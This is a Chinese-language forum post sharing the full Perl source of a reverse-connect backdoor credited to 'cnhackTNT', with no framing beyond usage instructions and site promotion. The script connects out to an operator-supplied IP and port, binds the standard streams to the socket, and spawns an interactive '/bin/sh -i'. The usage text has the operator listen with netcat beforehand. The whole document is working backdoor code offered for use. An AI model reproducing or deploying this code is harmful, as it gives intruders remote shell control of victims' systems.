cnhackTNT反弹后门的源代码
软件作者：cnhackTNT[code]#!/usr/bin/perl
#[url]http://www.s8s8.net[/url]
#cnhackTNT[AT]hotmail.com
use strict;
use Socket;
use Cwd;
use IO::Handle;
if ( @ARGV < 1 ) {
print <<"EOF";
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP <space> Remote_port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to [url]http://www.s8s8.net[/url]
EOF
exit;
}
my $remote = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto = getprotobyname('tcp');
my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) );
my $path = cwd();
my $shell = '/bin/sh -i';
socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die "connection error : $!";
open STDIN, ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path\n";
print "Welcome to [url]www.s8s8.net[/url]\nEnjoy ur shell.\n\n[S8S8 console]>";
while (<SOCK>) {
chomp;
if ( lc($_) eq 'quit' ) {
print "\nWelcome to [url]www.s8s8.net[/url]";
print "\nByeBye~~~!\n";
exit;
}
elsif ($_) {
system($shell);
print "\n[S8S8 console]>";
}
else {
print "\n[S8S8 console]>";
}
}
close SOCK;
exit;[/code]
页:
[1]